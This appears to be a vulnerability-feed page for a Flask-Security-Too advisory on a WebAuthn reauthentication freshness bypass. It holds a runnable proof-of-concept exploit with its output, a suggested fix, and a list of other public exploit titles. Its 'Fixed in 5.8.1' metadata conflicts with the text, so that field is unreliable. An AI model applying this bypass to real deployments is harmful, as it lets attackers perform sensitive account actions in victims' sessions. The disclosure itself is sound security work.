Feed/GHSA-f66q-9rf6-8795
GHSA-f66q-9rf6-8795MEDIUMCVSS 0.0

Flask-Security-Too: WebAuthn reauthentication freshness bypass via cross-user assertion

Published Jul 7, 2026·Updated Jul 7, 2026

NVD Description

### Summary Flask-Security-Too 5.8.0 and 5.8.1 mark a session as reauthentication-fresh after processing a WebAuthn assertion whose proven credential belongs to a different user than the currently authenticated session user. The check that `GHSA-97r5-pg8x-p63p` added on the OAuth reauthentication path (`user.email == current_user.email`) is missing on the WebAuthn reauthentication path. An attacker who owns any WebAuthn credential registered to any account on the deployment can satisfy a victim session's freshness gate by submitting their own WebAuthn proof into the victim session. ### Affected versions `Flask-Security-Too` `>= 5.8.0, <= 5.8.1` (current `main` commit `5c44c76e33a20b67d02115e26d2da4bab18c094e`). `GHSA-97r5-pg8x-p63p` (published 2026-05-22) shipped its fix in 5.8.1 only on `oauth_glue.py`; `webauthn.py` was not touched and remains exploitable in 5.8.1. ### Privilege required Authenticated attacker on the same Flask-Security deployment, owning at least one WebAuthn credential of any usage (`first` / `secondary` / verify) that is registered to their own account. The attacker also needs the ability to drive HTTP requests against the WebAuthn endpoints inside the victim session (e.g. a separate gadget such as CSRF + cookie-based auth, an XSS that doesn't reach the cookie itself but can move the session through endpoints, or an existing session-fixation gadget; or the rarer but easier case of an attacker who has direct access to the victim's not-yet-fresh session via a shared browser). The point of the freshness gate is to defend exactly that "I have the session but it isn't fresh enough to do sensitive things" position, so any context in which freshness would have protected the victim is also the context in which this bypass matters. ### Vulnerable code [`flask_security/webauthn.py:846-889`](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/flask_security/webauthn.py#L846-L889) (commit `5c44c76e33a20b67d02115e26d2da4bab18c094e`): ```python @auth_required(lambda: cv("API_ENABLED_METHODS")) def webauthn_verify_response(token: str) -> ResponseValue: form = t.cast( WebAuthnSigninResponseForm, build_form_from_request("wan_signin_response_form") ) expired, invalid, state = check_and_get_token_status( token, "wan", get_within_delta("WAN_SIGNIN_WITHIN") ) ... form.challenge = state["challenge"] form.user_verification = state["user_verification"] form.is_secondary = False form.is_verify = True if form.validate_on_submit(): # update last use and sign count after_this_request(view_commit) assert form.cred assert form.user form.cred.lastuse_datetime = _security.datetime_factory() form.cred.sign_count = form.authentication_verification.new_sign_count _datastore.put(form.cred) # verified - so set freshness time. session["fs_paa"] = time.time() ... ``` [`flask_security/webauthn.py:276-308`](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/flask_security/webauthn.py#L276-L308) (the form's `validate()`): ```python def validate(self, **kwargs: t.Any) -> bool: if not super().validate(**kwargs): return False # pragma: no cover ... try: auth_cred = parse_authentication_credential_json(self.credential.data) except (...): ... return False # Look up credential Id (raw_id) and user. 7.2.6/7 self.cred = _datastore.find_webauthn(credential_id=auth_cred.raw_id) ... # This shouldn't be able to happen if datastore properly cascades delete self.user = _datastore.find_user_from_webauthn(self.cred) ``` `self.user` is resolved from the attacker-controlled `credential_id` and is never compared to `current_user`. The state token issued by `_signin_common` ([`webauthn.py:589-622`](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/webauthn.py#L589-L622)) carries only `{challenge, user_verification}`, so state tokens are not bound to any user and replay portably across sessions: ```python def _signin_common(user: UserMixin | None, usage: list[str]) -> tuple[t.Any, str]: ... state = { "challenge": challenge, "user_verification": uv, } ... state_token = t.cast(str, _security.wan_serializer.dumps(state)) return o_json, state_token ``` Contrast with the patch in [`oauth_glue.py:211`](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/oauth_glue.py#L211) that `GHSA-97r5-pg8x-p63p` shipped: ```python next_loc = session.pop("fs_oauth_next", None) if user and user.email == current_user.email: # verified - so set freshness time. session["fs_paa"] = time.time() ``` That `user.email == current_user.email` clamp is the missing check on the WebAuthn side. ### How input reaches the sink 1. Attacker logs in to their own account and registers their own WebAuthn credential (call it `cred_attacker`). They retain a copy of any valid `navigator.credentials.get()` assertion JSON produced by their authenticator (one signature is enough; can also be produced fresh on demand per request). 2. Attacker holds, or gets, a victim session in a state where `fs_paa` is past `FRESHNESS`. The victim is authenticated as themselves; the gate stops them from invoking freshness-protected business endpoints (`/change`, `/change-username`, `/wf-add`, `/us-setup`, anything decorated with `@auth_required(within=...)`). 3. The victim session calls `POST /wan-verify` and receives a `wan_state` token. The state token has no user binding. 4. Attacker submits an assertion that proves possession of `cred_attacker`, inside the victim session, to `POST /wan-verify/<wan_state>`. 5. `WebAuthnSigninResponseForm.validate` resolves `form.user` to the attacker account from `find_user_from_webauthn(self.cred)`, signs/verifies the assertion against the (attacker-controlled) public key it stored at registration time, and returns `True`. The user-handle check on `auth_cred.response.user_handle` (if present) compares against `self.user.fs_webauthn_user_handle`, i.e. it compares attacker user-handle to attacker user, so it passes trivially. 6. `webauthn_verify_response` then writes `session["fs_paa"] = time.time()`. The session user is unchanged (still the victim) but the freshness clock is reset by a cryptographic proof of the attacker's authenticator. 7. Any subsequent `@auth_required(within=...)` endpoint now succeeds inside the victim session. ### End-to-end reproduction Reproduction is an in-process Flask test client driving the published wheel (`pip install Flask-Security-Too==5.8.0`, also re-run against 5.8.1 since `GHSA-97r5-pg8x-p63p`'s fix shipped with that release only touched `oauth_glue.py`). The full transcript is in the Proof of concept section below; here is the boot recipe: ```bash python3.12 -m venv venv source venv/bin/activate pip install --quiet 'Flask-Security-Too==5.8.0' Flask-SQLAlchemy webauthn email-validator argon2_cffi python poc.py ``` Captured run-time output (5.8.0 path): ``` === Submit BOB's WebAuthn assertion to Alice's /wan-verify-response === cross-user assertion status: 200 alice fs_uniquifier in session AFTER: '408245d132bc4213a55606c46f40e038' # still Alice fs_paa BEFORE: 1779582282.550872 fs_paa AFTER : 1779585882.615287 # advanced === Demonstrate impact: /sensitive (freshness-protected) accepted === /sensitive after cross-user verify status: 200 ``` Re-run against 5.8.1 produces the same `200` on the cross-user assertion and the same `200` on the freshness-gated endpoint, confirming that the patch for `GHSA-97r5-pg8x-p63p` did not extend to the WebAuthn path. ### Proof of concept Mocked WebAuthn fixtures (`REG_DATA_UV`, `SIGNIN_DATA_UV`, `REG_DATA1`, `SIGNIN_DATA1`) and `HackWebauthnUtil` are lifted verbatim from the project's own test suite ([`tests/test_webauthn.py`](https://github.com/pallets-eco/flask security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/tests/test_webauthn.py)) which pins the challenge so a recorded assertion blob can be replayed; this does not bypass any cryptographic check inside `webauthn.verify_authentication_response`, it just substitutes the test-suite's own `WebauthnUtil` so the recorded blobs can be exercised against a running app instance. In a real-world deployment the attacker uses their own authenticator producing fresh assertions per request. `poc.py` (complete, runnable; the `REG_DATA*` / `SIGNIN_DATA*` fixtures are the project's own `tests/test_webauthn.py` blobs, reproduced in full): ```python """ E2E PoC for Flask-Security-Too 5.8.0 WebAuthn reauthentication freshness bypass via cross-user assertion. Sibling of GHSA-97r5-pg8x-p63p (OAuth path, fixed in 5.8.1). The WebAuthn verify path (`webauthn.py:847-889 webauthn_verify_response` + `webauthn.py:276-366 WebAuthnSigninResponseForm.validate`) sets `session["fs_paa"] = time.time()` whenever a syntactically valid WebAuthn assertion completes, without checking that the assertion's resolved user equals the current session user. Setup: - Alice and Bob both registered as users. - Each registers their own WebAuthn credential (REG_DATA_UV for Alice as primary-usage key, REG_DATA1 for Bob as primary-usage key). - Alice authenticates via password. Her freshness timestamp is rolled back to simulate a stale session (the standard reauthn precondition). - Alice's session attempts /wan-verify and gets a state_token. The state token only contains {challenge, user_verification} -- no user binding. - Alice's session POSTs to /wan-verify/<state_token> with BOB's WebAuthn credential signature (SIGNIN_DATA1). - validate() resolves form.user from Bob's credential_id without checking against current_user. webauthn_verify_response writes session["fs_paa"] = time.time(). - Alice now passes the freshness gate using a proof of Bob's credential. Outcome: a freshness-protected endpoint (/fresh, /change-username, etc.) responds 200 for Alice's session even though the only credential proof provided was Bob's. This is the same trust-contract violation that GHSA-97r5-pg8x-p63p patched on the OAuth path. """ import copy import datetime as dt import json import re import time from datetime import timedelta from flask import Flask, jsonify from flask_sqlalchemy import SQLAlchemy from flask_security import ( Security, SQLAlchemyUserDatastore, auth_required, hash_password, ) from flask_security.models import fsqla_v3 as fsqla from flask_security.webauthn_util import WebauthnUtil # Fixtures lifted verbatim from tests/test_webauthn.py CHALLENGE = "smCCiy_k2CqQydSQ_kPEjV5a2d0ApfatcpQ1aXDmQPo" REG_DATA_UV = { "id": "s3xZpfGy0ZH-sSkfxIsgChwbkw_O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy", "rawId": "s3xZpfGy0ZH-sSkfxIsgChwbkw_O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy", "type": "public-key", "response": { "attestationObject": "o2NmbXRkbm9uZWdhdHRTdG10oGhhdXRoRGF0YVjC" "SZYN5YgOjGh0NBcPZHZgW4_krrmihjLHmVzzuoMdl2PFAAAABAAAAA" "AAAAAAAAAAAAAAAAAAMLN8WaXxstGR_rEpH8SLIAocG5MPztIzhbWXi" "dS11DBGvGrRtaBLJDaphSQn4CmRsqUBAgMmIAEhWCCzfFml8bLRkf" "6xKR_EUnaoI333MuxRlv5-LwojDibdTyJYIFMifFwn-RfkDDgsTHF" "jWgE6bld-Jc4nhFMTkQja9P8IoWtjcmVkUHJvdGVjdAI", "clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uY3JlYXRlIiwiY2hhbGxlbmdlIjoiYzI" "xRFEybDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlY" "UmpjRkV4WVZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2Nhb" "Ghvc3Q6NTAwMSIsImNyb3NzT3JpZ2luIjpmYWxzZX0", "transports": ["nfc", "usb"], }, "extensions": '{"credProps":{"rk":true}}', } SIGNIN_DATA_UV = { "id": "s3xZpfGy0ZH-sSkfxIsgChwbkw_O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy", "rawId": "s3xZpfGy0ZH-sSkfxIsgChwbkw_O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy", "type": "public-key", "response": { "authenticatorData": "SZYN5YgOjGh0NBcPZHZgW4_krrmihjLHmVzzuoMdl2MFAAAABQ==", "clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiYzIxRFEy" "bDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlYUmpjRkV4W" "VZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2NhbGhvc3Q6NTAwMSI" "sImNyb3NzT3JpZ2luIjpmYWxzZX0=", "signature": "MEUCIQDR0m9Ob4nqVGiAPUf1Tu5XohDh2frl1LJ6G41GURlUIgIgKUPfkw" "AjP2863L2nDhcR2EKqoGEQLqlQ5xymZstyO6o=", }, "assertionClientExtensions": "{}", } REG_DATA1 = { "id": "wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc", "rawId": "wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc", "type": "public-key", "response": { "attestationObject": "o2NmbXRkbm9uZWdhdHRTdG10oGhhdXRoRGF0YVikSZYN5YgOjGh0NB" "cPZHZgW4_krrmihjLHmVzzuoMdl2NFAAAAAQAAAAAAAAAAAAAAAAAAA" "AAAIMFFKjTo2N-XXE_r6YpGaWcfk_dTYyHuD6q1fI-42DznpQECAy" "YgASFYIFRipoWMEiDuCtLUvSlqCFZBqxvUuNqZKavlWgvN2BK8Il" "ggLOV4eez9k0det5oIZGyKanGkmWa0hygnjjFmf8Rep6c", "clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uY3JlYXRlIiwiY2hhbGxlbmdlIjoiYzIxR" "FEybDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlYUmpjRk" "V4WVZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2NhbGhvc3Q6NT" "AwMSIsImNyb3NzT3JpZ2luIjpmYWxzZX0", "transports": ["usb"], }, "extensions": '{"credProps": {}}', } SIGNIN_DATA1 = { "id": "wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc", "rawId": "wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc", "type": "public-key", "response": { "authenticatorData": "SZYN5YgOjGh0NBcPZHZgW4_krrmihjLHmVzzuoMdl2MBAAAABQ==", "clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiYzIxRFEy" "bDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlYUmpjRkV4" "WVZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2NhbGhvc3Q6NTAw" "MSIsImNyb3NzT3JpZ2luIjpmYWxzZX0=", "signature": "MEUCIH5VdRXxfnoxfrVk72gvWAn91QH-l2UrIohk5YOWi9XpAiEAn6f9oHtFS" "68HVf6K_Ku0L33C0sID2HzpJWSiTNgJlbU=", }, "assertionClientExtensions": "{}", } class HackWebauthnUtil(WebauthnUtil): """Mirrors tests/test_webauthn.py: pins the challenge to the value embedded in REG_DATA / SIGNIN_DATA so the cryptographic verification accepts the pre-recorded blobs. Standard PoC technique used by the project's own test suite. Does NOT change the vulnerable code path.""" def generate_challenge(self, nbytes=None): return CHALLENGE def origin(self): return "http://localhost:5001" def build_app(): app = Flask(__name__) app.config["SECRET_KEY"] = "poc-secret" app.config["SECURITY_PASSWORD_SALT"] = "poc-salt" app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///:memory:" app.config["SQLALCHEMY_TRACK_MODIFICATIONS"] = False app.config["WTF_CSRF_ENABLED"] = False app.config["SERVER_NAME"] = "localhost:5001" app.config["SECURITY_WEBAUTHN"] = True app.config["SECURITY_WAN_ALLOW_AS_FIRST_FACTOR"] = True app.config["SECURITY_WAN_ALLOW_AS_VERIFY"] = ["first", "secondary"] app.config["SECURITY_WAN_ALLOW_AS_MULTI_FACTOR"] = True app.config["SECURITY_FRESHNESS"] = timedelta(minutes=1) app.config["SECURITY_FRESHNESS_GRACE_PERIOD"] = timedelta(seconds=0) app.config["SECURITY_CHANGEABLE"] = True app.config["SECURITY_USERNAME_ENABLE"] = False app.config["SECURITY_FRESHNESS"] = timedelta(seconds=10) db = SQLAlchemy(app) fsqla.FsModels.set_db_info(db) class Role(db.Model, fsqla.FsRoleMixin): pass class WebAuthn(db.Model, fsqla.FsWebAuthnMixin): pass class User(db.Model, fsqla.FsUserMixin): pass ds = SQLAlchemyUserDatastore(db, User, Role, WebAuthn) app.security = Security( app, datastore=ds, webauthn_util_cls=HackWebauthnUtil ) # A representative freshness-protected business endpoint. Same gate the # built-in /change, /change-username, /wf-add etc. use. @app.route("/sensitive", methods=["POST"]) @auth_required( within=lambda: app.config["SECURITY_FRESHNESS"], grace=lambda: app.config["SECURITY_FRESHNESS_GRACE_PERIOD"], ) def sensitive(): return jsonify({"ok": True}), 200 with app.app_context(): db.create_all() ds.create_user( email="alice@example.com", password=hash_password("alice-password"), confirmed_at=dt.datetime.now(dt.timezone.utc), ) ds.create_user( email="bob@example.com", password=hash_password("bob-password"), confirmed_at=dt.datetime.now(dt.timezone.utc), ) db.session.commit() return app def _register_start_json(client, name, usage="first"): resp = client.post("/wan-register", json=dict(name=name, usage=usage)) assert resp.status_code == 200, resp.data return f'/wan-register/{resp.json["response"]["wan_state"]}' def login_password(client, email, password): resp = client.post( "/login", json=dict(email=email, password=password), headers={"Content-Type": "application/json", "Accept": "application/json"}, ) assert resp.status_code == 200, resp.data return resp def logout(client): return client.post( "/logout", headers={"Content-Type": "application/json", "Accept": "application/json"}, ) def step(label): print(f"\n=== {label} ===") def main(): app = build_app() print(f"flask-security version under test: {__import__('flask_security').__version__}") # Step 1: Bob logs in, registers his WebAuthn credential, logs out step("Bob registers his WebAuthn credential (attacker's own key)") bob_client = app.test_client() login_password(bob_client, "bob@example.com", "bob-password") url = _register_start_json(bob_client, name="bobkey", usage="first") r = bob_client.post(url, json=dict(credential=json.dumps(REG_DATA1))) assert r.status_code == 200, r.data print(f" bob register status: {r.status_code}") logout(bob_client) # Step 2: Alice logs in, registers her own WebAuthn credential, stays logged in step("Alice registers her own WebAuthn credential (victim's key)") alice_client = app.test_client() login_password(alice_client, "alice@example.com", "alice-password") url = _register_start_json(alice_client, name="alicekey", usage="first") r = alice_client.post(url, json=dict(credential=json.dumps(REG_DATA_UV))) assert r.status_code == 200, r.data print(f" alice register status: {r.status_code}") # Step 3: Confirm Alice's session can hit /sensitive while fresh (sanity) step("Confirm /sensitive works while session is fresh") r = alice_client.post( "/sensitive", json=dict(), headers={"Content-Type": "application/json", "Accept": "application/json"}, ) print(f" /sensitive while fresh status: {r.status_code}") assert r.status_code == 200, r.data # Step 4: Roll Alice's fs_paa back to simulate a stale session step("Stale Alice's session (roll fs_paa back past FRESHNESS)") with alice_client.session_transaction() as sess: old_paa = sess["fs_paa"] - 3600 sess["fs_paa"] = old_paa sess.pop("fs_gexp", None) alice_identity = sess.get("_user_id") print(f" alice fs_uniquifier in session: {alice_identity!r}") print(f" alice fs_paa now: {old_paa}") # Step 5: Confirm freshness gate now denies Alice step("Confirm /sensitive now requires reauth (401 reauth_required)") r = alice_client.post( "/sensitive", json=dict(), headers={"Content-Type": "application/json", "Accept": "application/json"}, ) print(f" /sensitive after stale status: {r.status_code}") print(f" body: {r.json}") assert r.status_code == 401 assert r.json["response"]["reauth_required"] is True # Step 6: Alice's session calls /wan-verify -> gets state_token. # The state_token contains {challenge, user_verification} only -- no user # binding -- and the WebAuthn challenge it embeds is the pinned constant # CHALLENGE because HackWebauthnUtil overrides generate_challenge. That # matches the challenge baked into Bob's pre-recorded SIGNIN_DATA1. step("Alice fetches /wan-verify state_token") r = alice_client.post( "/wan-verify", json=dict(), headers={"Content-Type": "application/json", "Accept": "application/json"}, ) assert r.status_code == 200, r.data wan_state = r.json["response"]["wan_state"] print(f" wan_state acquired (truncated): {wan_state[:80]}...") # Step 7: Alice's session POSTs Bob's SIGNIN_DATA to /wan-verify/<state_token>. # WebAuthnSigninResponseForm.validate() resolves form.user from # SIGNIN_DATA1.id == Bob's credential id, and never checks form.user == # current_user. webauthn_verify_response then writes # session["fs_paa"] = time.time() on Alice's session. step("Submit BOB's WebAuthn assertion to Alice's /wan-verify-response") r = alice_client.post( f"/wan-verify/{wan_state}", json=dict(credential=json.dumps(SIGNIN_DATA1)), headers={"Content-Type": "application/json", "Accept": "application/json"}, ) print(f" cross-user assertion status: {r.status_code}") print(f" body: {r.json}") assert r.status_code == 200, "Expected webauthn_verify_response to accept cross-user assertion" # Step 8: Inspect Alice's session. fs_paa should be freshly updated even # though the proof was Bob's credential. with alice_client.session_transaction() as sess: new_paa = sess["fs_paa"] post_attack_identity = sess.get("_user_id") print(f" alice fs_uniquifier in session AFTER: {post_attack_identity!r}") print(f" fs_paa BEFORE: {old_paa}") print(f" fs_paa AFTER : {new_paa}") assert new_paa > old_paa, "fs_paa was NOT advanced -> not exploitable" assert post_attack_identity == alice_identity, "Session swapped users -- different bug" # Step 9: Confirm Alice's session now passes the freshness-gated action. step("Demonstrate impact: /sensitive (freshness-protected) accepted") r = alice_client.post( "/sensitive", json=dict(), headers={"Content-Type": "application/json", "Accept": "application/json"}, ) print(f" /sensitive after cross-user verify status: {r.status_code}") print(f" body: {r.json}") assert r.status_code == 200, "Freshness gate did NOT accept the cross-user proof" print("\n=== RESULT ===") print("Alice's session was reauthenticated using BOB's WebAuthn credential.") print("fs_paa advanced; freshness-gated endpoints accept Alice's session.") print("The session user is still Alice (this is reauth-freshness bypass,") print("not a login bypass) -- same trust-contract violation that") print("GHSA-97r5-pg8x-p63p fixed on the OAuth path.") if __name__ == "__main__": main() ``` Verbatim run-time output against the published `Flask-Security-Too==5.8.0` wheel (`$ python poc.py`): ``` flask-security version under test: 5.8.0 === Bob registers his WebAuthn credential (attacker's own key) === bob register status: 200 === Alice registers her own WebAuthn credential (victim's key) === alice register status: 200 === Confirm /sensitive works while session is fresh === /sensitive while fresh status: 200 === Stale Alice's session (roll fs_paa back past FRESHNESS) === alice fs_uniquifier in session: '408245d132bc4213a55606c46f40e038' alice fs_paa now: 1779582282.550872 === Confirm /sensitive now requires reauth (401 reauth_required) === /sensitive after stale status: 401 body: {'meta': {'code': 401}, 'response': {'errors': ['You must reauthenticate to access this endpoint'], 'has_webauthn_verify_credential': True, 'oauth_enabled': False, 'oauth_providers': [], 'reauth_required': True, 'unified_signin_enabled': False}} === Alice fetches /wan-verify state_token === wan_state acquired (truncated): eyJjaGFsbGVuZ2UiOiJzbUNDaXlfazJDcVF5ZFNRX2tQRWpWNWEyZDBBcGZhdGNwUTFhWERtUVBvIiwi... === Submit BOB's WebAuthn assertion to Alice's /wan-verify-response === cross-user assertion status: 200 body: {'meta': {'code': 200}, 'response': {'csrf_token': 'IjYzMDk1YjZjMTUwOTJlOWU4ZjAxNTQ1ZDI3MTM4YzA1OWJkYjZmZjci.ahJTWg.cWM261xwKEAFJXa3SK-ioz6pTro', 'user': {}}} alice fs_uniquifier in session AFTER: '408245d132bc4213a55606c46f40e038' fs_paa BEFORE: 1779582282.550872 fs_paa AFTER : 1779585882.615287 === Demonstrate impact: /sensitive (freshness-protected) accepted === /sensitive after cross-user verify status: 200 body: {'ok': True} === RESULT === Alice's session was reauthenticated using BOB's WebAuthn credential. fs_paa advanced; freshness-gated endpoints accept Alice's session. The session user is still Alice (this is reauth-freshness bypass, not a login bypass) -- same trust-contract violation that GHSA-97r5-pg8x-p63p fixed on the OAuth path. ``` Re-run against the published `Flask-Security-Too==5.8.1` wheel (the release that shipped the `GHSA-97r5-pg8x-p63p` OAuth fix) is identical — the cross-user assertion is still accepted (`200`) and the freshness-gated endpoint is still reachable (`200`), confirming the parent fix did not extend to the WebAuthn path: ``` flask-security version under test: 5.8.1 === Bob registers his WebAuthn credential (attacker's own key) === bob register status: 200 === Alice registers her own WebAuthn credential (victim's key) === alice register status: 200 === Confirm /sensitive works while session is fresh === /sensitive while fresh status: 200 === Stale Alice's session (roll fs_paa back past FRESHNESS) === alice fs_uniquifier in session: 'c60d7c7a5a894575b396f8917c814e46' alice fs_paa now: 1779582300.361872 === Confirm /sensitive now requires reauth (401 reauth_required) === /sensitive after stale status: 401 body: {'meta': {'code': 401}, 'response': {'errors': ['You must reauthenticate to access this endpoint'], 'has_webauthn_verify_credential': True, 'oauth_enabled': False, 'oauth_providers': [], 'reauth_required': True, 'unified_signin_enabled': False}} === Alice fetches /wan-verify state_token === wan_state acquired (truncated): eyJjaGFsbGVuZ2UiOiJzbUNDaXlfazJDcVF5ZFNRX2tQRWpWNWEyZDBBcGZhdGNwUTFhWERtUVBvIiwi... === Submit BOB's WebAuthn assertion to Alice's /wan-verify-response === cross-user assertion status: 200 body: {'meta': {'code': 200}, 'response': {'csrf_token': 'ImJiZTQ2YWJhMmJlMDJlNWU2NDE2ODI1Njc0Nzc4ZGJhYzYzZDBhOWEi.ahJTbA.gEq7o8QoNq5t-UnjM9SdR_9Mqw4', 'user': {}}} alice fs_uniquifier in session AFTER: 'c60d7c7a5a894575b396f8917c814e46' fs_paa BEFORE: 1779582300.361872 fs_paa AFTER : 1779585900.41935 === Demonstrate impact: /sensitive (freshness-protected) accepted === /sensitive after cross-user verify status: 200 body: {'ok': True} === RESULT === Alice's session was reauthenticated using BOB's WebAuthn credential. fs_paa advanced; freshness-gated endpoints accept Alice's session. The session user is still Alice (this is reauth-freshness bypass, not a login bypass) -- same trust-contract violation that GHSA-97r5-pg8x-p63p fixed on the OAuth path. ``` The session user remains Alice (`fs_uniquifier` unchanged), but `fs_paa` advances and the freshness-gated endpoint accepts the request, even though the only cryptographic proof presented was Bob's WebAuthn signature. ### Impact - Bypass of `@auth_required(within=...)` freshness gates on the WebAuthn reauthentication path. Any sensitive operation that relies on freshness (built-in: `/change` password change, `/change-username`, `/wf-add` to register a new WebAuthn credential, `/us-setup` to (re)configure unified signin, `/mf-recovery-codes`; app-defined: any business route the application protected with `@auth_required(within=...)`) is reachable from an attacker-held victim session. - Promotes any session-handoff or session-holder gadget from "victim still protected against sensitive ops" to "attacker reaches sensitive ops" using the attacker's own authenticator. - Same trust-contract violation that `GHSA-97r5-pg8x-p63p` (rated medium) was published to close on the OAuth path. The WebAuthn variant is reachable wherever the project's WebAuthn-verify is enabled. ### Suggested fix Add the equivalent of the OAuth fix in `flask_security/webauthn.py:webauthn_verify_response` so the cryptographically verified user must equal the currently authenticated session user before freshness is advanced: ```python if form.validate_on_submit(): assert form.cred assert form.user if form.user != current_user._get_current_object(): # Cryptographic proof was valid, but for a different account; do not # treat the current session as reauthenticated. m, c = get_message("WEBAUTHN_MISMATCH_USER_HANDLE") if _security._want_json(request): form.form_errors.append(m) return base_render_json(form, include_user=False) do_flash(m, c) return redirect(url_for_security("wan_verify")) after_this_request(view_commit) form.cred.lastuse_datetime = _security.datetime_factory() form.cred.sign_count = form.authentication_verification.new_sign_count _datastore.put(form.cred) session["fs_paa"] = time.time() ... ``` Equivalent pattern (and arguably tighter) is to add a bind into the state token issued by `_signin_common` when called from `webauthn_verify` (the caller already holds `form.user = current_user`): ```python def _signin_common(user, usage): ... state = { "challenge": challenge, "user_verification": uv, "user_id": user.fs_uniquifier if user else None, # NEW } ... ``` and check it in `WebAuthnSigninResponseForm.validate` when the form is being used for verify (`self.is_verify`). Either fix shape closes the bug; the `current_user`-bind shape mirrors [`oauth_glue.py:211`](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/oauth_glue.py#L211) more directly. The `/wan-signin` flow (`is_verify == False`) does not need to change — it is the primary-signin path where there is by design no `current_user` yet. ### Fix PR To follow on the advisory's temp private fork once it is provisioned. ### Credit Reported by tonghuaroot.

Affected Packages (1)

Flask-Security-TooPYPI
From 5.8.0
Fixed in = 5.8.1

Public Exploits & PoCs100 found

PoC: CVE-2026-85046

CVE-2026-85046

1

PoC: CVE-2026-62735

Windows HTTP.sys integer overflow -> nonpaged pool overflow LPE PoC (CVE-2026-62735): crash + full SYSTEM exploit; for authorized testing

1

PoC: CVE-2026-82329-JFrog-Artifactory-Auth-Bypass

CVE-2026-82329 — JFrog Artifactory (self-hosted) Auth Bypass

1

PoC: CVE-2026-65349

CVE-2026-65349 PoC — getattrlist OOB write in vfs_attr_pack_internal (iOS 26.6 / 23G71)

1

PoC: CVE-2026-65343

CVE-2026-65343 PoC — AppleKeyStore OOB read → KASLR defeat (iOS 26.6 / 23G71)

1

PoC: CVE-2026-65330

CVE-2026-65330 PoC — setxattr PAC bypass via fixed #0x307a diversifier (iOS 26.6 / 23G71)

1

PoC: CVE-2026-64788

CVE-2026-64788 PoC — IOGPUFamily Use-After-Free (iOS 26.6 / 23G71)

1

PoC: cve-2024-55591-poc

Educational implementation in Go for CVE-2024-55591 (Fortinet FortiOS Authentication Bypass). Designed for security research, vulnerability assessment, and understanding WebSocket-based auth bypass mechanisms.

1

PoC: cve-2026-82329-jfrog-artifactory

CVE-2026-82329 JFrog Artifactory unauthenticated auth-bypass: reproducible Docker lab + URL-parameter validator PoC + patch-diff analysis

1

PoC: CVE-2026-82592

D-Link DIR-825M formDiskFormat stack overflow + command injection RCE PoC (CVE-2026-82592); for authorized security testing

1

PoC: CVE-2026-63077

CVE-2026-63077 - Unauthenticated RCE exploit for JetBrains TeamCity via Agent Polling Deserialization. Supports mass scanning, multi-threading, and interactive shell. For authorized security testing only.

PoC: CVE-2026-6471

CVE-2026-6471 - Draft or TODO

PoC: CVE-2026-73554

CVE-2026-73554 - Draft or TODO

PoC: CVE-2026-19516

CVE-2026-19516

PoC: gha-lab-51c6b6d0a0

Lab reproducing CVE-2025-67727 (parse-community/parse-server ci-performance.yml pull_request_target RCE at e78e58d) — authorized security research

PoC: gha-lab-6904b2ccbe

Security-research lab: reproduction of CVE-2025-61584 (GHSA-9g7x-737f-5xpc) — command injection via github.head_ref in pull_request_target workflow (.github/workflows/pr.yml)

PoC: CVE-2026-85046-Patch-confusion-zero-day-vulnerability-in-Google-Chrome-s-V8-engine

Conceptual C++ patch and structural analysis for CVE-2026-85046, a critical type confusion zero-day vulnerability in Google Chrome's V8 engine

PoC: cve-disclosures

CVE-2024-57551, CVE-2024-57552, CVE-2024-57553 advisories by Aman Bahiniya

PoC: unit-01-severity-vs-risk-reflection

cve-2026-25524 Holds no customer payment data, no monitoring in place, monitored 24/7 The CVSS score is technically serious, but it doesn't tell how exposed it is, weather our existing defenses would stop or contain an attack. We should confirm the vulnerable component is reachable by untrust input in our environment.

PoC: gha-lab-d14c91f1bb

Security-research lab: reproduction of CVE-2025-58371 (GitHub Actions command injection via PR title in Discord PR Notifier), snapshot of RooCodeInc/Roo-Code @ 08a825f9bb0086a88cff5a79b9af4731bba7d076

PoC: thymeleaf-check

Offline checker for Thymeleaf CVE-2026-40477 / CVE-2026-41901 — tells you which of the two CVSS 9.0 SSTI flaws you are exposed to, and whether your version line has a fix at all (3.0.x: it does not)

PoC: CVE-2024-36058

CVE-2024-36058 — Authenticated Time-Based Blind SQL Injection in Koha Library Software < 22.05.22 (opac-sendbasket.pl). Advisory + PoC by Hacklantic.

PoC: CVE-2024-36057

CVE-2024-36057 — Authenticated OS Command Injection in Koha Library Software < 22.05.22 (upload-cover-image.pl). Advisory + PoC by Hacklantic.

PoC: gha-lab-aa1cbc9bcf

